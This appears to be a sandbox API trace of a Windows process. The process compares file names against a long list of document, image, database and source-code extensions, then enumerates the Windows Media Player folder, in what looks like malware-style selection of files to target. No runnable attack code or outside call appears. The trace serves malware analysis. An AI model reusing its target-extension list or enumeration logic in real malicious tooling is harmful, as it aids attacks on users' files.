	[0179.896] lstrlenW (lpString=".doc") returned 4
	[0179.896] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0179.896] lstrlenW (lpString=".docm") returned 5
	[0179.897] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1
	[0179.897] lstrlenW (lpString=".docx") returned 5
	[0179.897] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0179.897] lstrlenW (lpString=".dot") returned 4
	[0179.897] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0179.897] lstrlenW (lpString=".dotm") returned 5
	[0179.897] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1
	[0179.897] lstrlenW (lpString=".dotx") returned 5
	[0179.897] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1
	[0179.897] lstrlenW (lpString=".dpx") returned 4
	[0179.897] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0179.897] lstrlenW (lpString=".dqy") returned 4
	[0179.897] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0179.897] lstrlenW (lpString=".dsn") returned 4
	[0179.897] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0179.897] lstrlenW (lpString=".dt") returned 3
	[0179.897] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0179.897] lstrlenW (lpString=".dtd") returned 4
	[0179.897] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0179.897] lstrlenW (lpString=".dwg") returned 4
	[0179.897] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0179.897] lstrlenW (lpString=".dwt") returned 4
	[0179.897] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0179.897] lstrlenW (lpString=".dx") returned 3
	[0179.897] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0179.897] lstrlenW (lpString=".dxf") returned 4
	[0179.897] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0179.897] lstrlenW (lpString=".edml") returned 5
	[0179.897] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1
	[0179.897] lstrlenW (lpString=".efd") returned 4
	[0179.898] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0179.898] lstrlenW (lpString=".elf") returned 4
	[0179.898] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0179.898] lstrlenW (lpString=".emf") returned 4
	[0179.898] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0179.898] lstrlenW (lpString=".emz") returned 4
	[0179.898] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0179.898] lstrlenW (lpString=".epf") returned 4
	[0179.898] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0179.898] lstrlenW (lpString=".eps") returned 4
	[0179.898] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0179.898] lstrlenW (lpString=".epsf") returned 5
	[0179.898] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1
	[0179.898] lstrlenW (lpString=".epsp") returned 5
	[0179.898] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1
	[0179.898] lstrlenW (lpString=".erf") returned 4
	[0179.898] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0179.898] lstrlenW (lpString=".exr") returned 4
	[0179.898] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0179.898] lstrlenW (lpString=".f4v") returned 4
	[0179.898] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0179.898] lstrlenW (lpString=".fido") returned 5
	[0179.898] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1
	[0179.898] lstrlenW (lpString=".flm") returned 4
	[0179.898] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0179.898] lstrlenW (lpString=".flv") returned 4
	[0179.898] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0179.898] lstrlenW (lpString=".frm") returned 4
	[0179.898] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0179.898] lstrlenW (lpString=".fxg") returned 4
	[0179.898] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0179.898] lstrlenW (lpString=".geo") returned 4
	[0179.899] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0179.899] lstrlenW (lpString=".gif") returned 4
	[0179.899] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0179.899] lstrlenW (lpString=".grs") returned 4
	[0179.899] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0179.899] lstrlenW (lpString=".gz") returned 3
	[0179.899] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0179.899] lstrlenW (lpString=".h") returned 2
	[0179.899] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0179.899] lstrlenW (lpString=".hdr") returned 4
	[0179.899] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0179.899] lstrlenW (lpString=".hpp") returned 4
	[0179.899] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0179.899] lstrlenW (lpString=".hta") returned 4
	[0179.899] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0179.899] lstrlenW (lpString=".htc") returned 4
	[0179.899] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0179.899] lstrlenW (lpString=".htm") returned 4
	[0179.899] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0179.899] lstrlenW (lpString=".html") returned 5
	[0179.899] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1
	[0179.899] lstrlenW (lpString=".icb") returned 4
	[0179.899] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0179.899] lstrlenW (lpString=".ics") returned 4
	[0179.899] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0179.899] lstrlenW (lpString=".iff") returned 4
	[0179.899] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0179.899] lstrlenW (lpString=".inc") returned 4
	[0179.900] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0179.900] lstrlenW (lpString=".indd") returned 5
	[0179.900] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1
	[0179.900] lstrlenW (lpString=".ini") returned 4
	[0179.900] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0179.900] lstrlenW (lpString=".iqy") returned 4
	[0179.900] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0179.900] lstrlenW (lpString=".j2c") returned 4
	[0179.900] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0179.900] lstrlenW (lpString=".j2k") returned 4
	[0179.900] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0179.900] lstrlenW (lpString=".java") returned 5
	[0179.900] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1
	[0179.900] lstrlenW (lpString=".jp2") returned 4
	[0179.900] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0179.900] lstrlenW (lpString=".jpc") returned 4
	[0179.900] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0179.900] lstrlenW (lpString=".jpe") returned 4
	[0179.900] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0179.900] lstrlenW (lpString=".jpeg") returned 5
	[0179.900] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1
	[0179.900] lstrlenW (lpString=".jpf") returned 4
	[0179.900] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0179.900] lstrlenW (lpString=".jpg") returned 4
	[0179.900] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0179.900] lstrlenW (lpString=".jpx") returned 4
	[0179.900] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0179.900] lstrlenW (lpString=".js") returned 3
	[0179.900] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0179.900] lstrlenW (lpString=".jsf") returned 4
	[0179.900] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0179.900] lstrlenW (lpString=".json") returned 5
	[0179.900] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1
	[0179.901] lstrlenW (lpString=".jsp") returned 4
	[0179.901] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0179.901] lstrlenW (lpString=".kdc") returned 4
	[0179.901] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0179.901] lstrlenW (lpString=".kmz") returned 4
	[0179.901] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0179.901] lstrlenW (lpString=".kwm") returned 4
	[0179.901] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0179.901] lstrlenW (lpString=".lasso") returned 6
	[0179.901] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1
	[0179.901] lstrlenW (lpString=".lbi") returned 4
	[0179.901] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0179.901] lstrlenW (lpString=".lgf") returned 4
	[0179.901] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0179.901] lstrlenW (lpString=".lgp") returned 4
	[0179.901] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0179.901] lstrlenW (lpString=".log") returned 4
	[0179.901] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0179.901] lstrlenW (lpString=".m1v") returned 4
	[0179.901] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0179.901] lstrlenW (lpString=".m4a") returned 4
	[0179.901] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0179.901] lstrlenW (lpString=".m4v") returned 4
	[0179.901] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0179.901] lstrlenW (lpString=".max") returned 4
	[0179.901] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0179.901] lstrlenW (lpString=".md") returned 3
	[0179.901] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0179.901] lstrlenW (lpString=".mda") returned 4
	[0179.901] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0179.901] lstrlenW (lpString=".mdb") returned 4
	[0179.901] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0179.901] lstrlenW (lpString=".mde") returned 4
	[0179.902] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0179.902] lstrlenW (lpString=".mdf") returned 4
	[0179.902] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0179.902] lstrlenW (lpString=".mdw") returned 4
	[0179.902] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0179.902] lstrlenW (lpString=".mef") returned 4
	[0179.902] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0179.902] lstrlenW (lpString=".mft") returned 4
	[0179.902] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0179.902] lstrlenW (lpString=".mfw") returned 4
	[0179.902] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0179.902] lstrlenW (lpString=".mht") returned 4
	[0179.902] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0179.902] lstrlenW (lpString=".mhtml") returned 6
	[0179.902] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1
	[0179.902] lstrlenW (lpString=".mka") returned 4
	[0179.902] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0179.902] lstrlenW (lpString=".mkidx") returned 6
	[0179.902] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1
	[0179.902] lstrlenW (lpString=".mkv") returned 4
	[0179.902] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0179.902] lstrlenW (lpString=".mos") returned 4
	[0179.902] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0179.902] lstrlenW (lpString=".mov") returned 4
	[0179.902] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0179.902] lstrlenW (lpString=".mp3") returned 4
	[0179.902] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0179.902] lstrlenW (lpString=".mp4") returned 4
	[0179.902] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0179.902] lstrlenW (lpString=".mpeg") returned 5
	[0179.902] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1
	[0179.902] lstrlenW (lpString=".mpg") returned 4
	[0179.902] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0179.902] lstrlenW (lpString=".mpv") returned 4
	[0179.903] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0179.903] lstrlenW (lpString=".mrw") returned 4
	[0179.903] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0179.903] lstrlenW (lpString=".msg") returned 4
	[0179.903] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0179.903] lstrlenW (lpString=".mxl") returned 4
	[0179.903] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0179.903] lstrlenW (lpString=".myd") returned 4
	[0179.903] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0179.903] lstrlenW (lpString=".myi") returned 4
	[0179.903] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0179.903] lstrlenW (lpString=".nef") returned 4
	[0179.903] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0179.903] lstrlenW (lpString=".nrw") returned 4
	[0179.903] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0179.903] lstrlenW (lpString=".obj") returned 4
	[0179.903] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0179.903] lstrlenW (lpString=".odb") returned 4
	[0179.903] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0179.903] lstrlenW (lpString=".odc") returned 4
	[0179.903] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0179.903] lstrlenW (lpString=".odm") returned 4
	[0179.903] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0179.903] lstrlenW (lpString=".odp") returned 4
	[0179.903] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0179.903] lstrlenW (lpString=".ods") returned 4
	[0179.903] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0179.903] lstrlenW (lpString=".oft") returned 4
	[0179.903] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0179.903] lstrlenW (lpString=".one") returned 4
	[0179.903] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0179.903] lstrlenW (lpString=".onepkg") returned 7
	[0179.903] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1
	[0179.904] lstrlenW (lpString=".onetoc2") returned 8
	[0179.904] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1
	[0179.904] lstrlenW (lpString=".opt") returned 4
	[0179.904] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0179.904] lstrlenW (lpString=".oqy") returned 4
	[0179.904] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0179.904] lstrlenW (lpString=".orf") returned 4
	[0179.904] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0179.904] lstrlenW (lpString=".p12") returned 4
	[0179.904] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0179.904] lstrlenW (lpString=".p7b") returned 4
	[0179.904] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0179.904] lstrlenW (lpString=".p7c") returned 4
	[0179.904] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0179.904] lstrlenW (lpString=".pam") returned 4
	[0179.904] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0179.904] lstrlenW (lpString=".pbm") returned 4
	[0179.904] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0179.904] lstrlenW (lpString=".pct") returned 4
	[0179.904] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0179.904] lstrlenW (lpString=".pcx") returned 4
	[0179.904] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0179.904] lstrlenW (lpString=".pdd") returned 4
	[0179.904] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0179.904] lstrlenW (lpString=".pdf") returned 4
	[0179.904] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0179.904] lstrlenW (lpString=".pdp") returned 4
	[0179.904] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0179.904] lstrlenW (lpString=".pef") returned 4
	[0179.904] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0179.904] lstrlenW (lpString=".pem") returned 4
	[0179.904] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0179.904] lstrlenW (lpString=".pff") returned 4
	[0179.904] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0179.904] lstrlenW (lpString=".pfm") returned 4
	[0179.905] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0179.905] lstrlenW (lpString=".pfx") returned 4
	[0179.905] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0179.905] lstrlenW (lpString=".pgm") returned 4
	[0179.905] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0179.905] lstrlenW (lpString=".php") returned 4
	[0179.905] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0179.905] lstrlenW (lpString=".php3") returned 5
	[0179.905] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1
	[0179.905] lstrlenW (lpString=".php4") returned 5
	[0179.905] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1
	[0179.905] lstrlenW (lpString=".php5") returned 5
	[0179.905] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1
	[0179.905] lstrlenW (lpString=".phtml") returned 6
	[0179.905] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1
	[0179.905] lstrlenW (lpString=".pict") returned 5
	[0179.905] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1
	[0179.905] lstrlenW (lpString=".pl") returned 3
	[0179.905] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0179.905] lstrlenW (lpString=".pls") returned 4
	[0179.905] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0179.905] lstrlenW (lpString=".pm") returned 3
	[0179.905] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0179.905] lstrlenW (lpString=".png") returned 4
	[0179.905] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0179.905] lstrlenW (lpString=".pnm") returned 4
	[0179.905] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0179.906] lstrlenW (lpString=".pot") returned 4
	[0179.906] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0179.906] lstrlenW (lpString=".potm") returned 5
	[0179.906] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1
	[0179.906] lstrlenW (lpString=".potx") returned 5
	[0179.906] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1
	[0179.906] lstrlenW (lpString=".ppa") returned 4
	[0179.906] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0179.906] lstrlenW (lpString=".ppam") returned 5
	[0179.906] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1
	[0179.906] lstrlenW (lpString=".ppm") returned 4
	[0179.906] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0179.906] lstrlenW (lpString=".pps") returned 4
	[0179.906] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0179.906] lstrlenW (lpString=".ppsm") returned 5
	[0179.906] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1
	[0179.906] lstrlenW (lpString=".ppt") returned 4
	[0179.906] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0179.906] lstrlenW (lpString=".pptm") returned 5
	[0179.906] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1
	[0179.906] lstrlenW (lpString=".pptx") returned 5
	[0179.906] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1
	[0179.906] lstrlenW (lpString=".prn") returned 4
	[0179.906] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0179.906] lstrlenW (lpString=".ps") returned 3
	[0179.906] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0179.906] lstrlenW (lpString=".psb") returned 4
	[0179.906] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0179.906] lstrlenW (lpString=".psd") returned 4
	[0179.906] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0179.906] lstrlenW (lpString=".pst") returned 4
	[0179.906] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0179.906] lstrlenW (lpString=".ptx") returned 4
	[0179.907] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0179.907] lstrlenW (lpString=".pub") returned 4
	[0179.907] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0179.907] lstrlenW (lpString=".pwm") returned 4
	[0179.907] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0179.907] lstrlenW (lpString=".pxr") returned 4
	[0179.907] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0179.907] lstrlenW (lpString=".py") returned 3
	[0179.907] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0179.907] lstrlenW (lpString=".qt") returned 3
	[0179.907] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0179.907] lstrlenW (lpString=".r3d") returned 4
	[0179.907] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0179.907] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x130c5e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="setup_wm.exe.mui", cAlternateFileName="")) returned 1
	[0179.907] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40aa916a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x100e6f00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmlaunch.exe.mui", cAlternateFileName="")) returned 1
	[0179.908] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmplayer.exe.mui", cAlternateFileName="")) returned 1
	[0179.908] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd13924, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WMPMediaSharing.dll.mui", cAlternateFileName="")) returned 1
	[0179.908] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd13924, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x9c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnetwk.exe.mui", cAlternateFileName="")) returned 1
	[0179.908] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de1e9a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnscfg.exe.mui", cAlternateFileName="")) returned 1
	[0179.908] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de1e9a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnssci.dll.mui", cAlternateFileName="")) returned 1
	[0179.908] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bacb92, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x100e6f00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 1
	[0179.908] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bacb92, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x100e6f00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 0
	[0179.908] FindClose (in: hFindFile=0x76ea68 | out: hFindFile=0x76ea68) returned 1
	[0179.909] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0179.909] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1
	[0179.909] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4094fb8
	[0179.909] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Icons\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e6e8
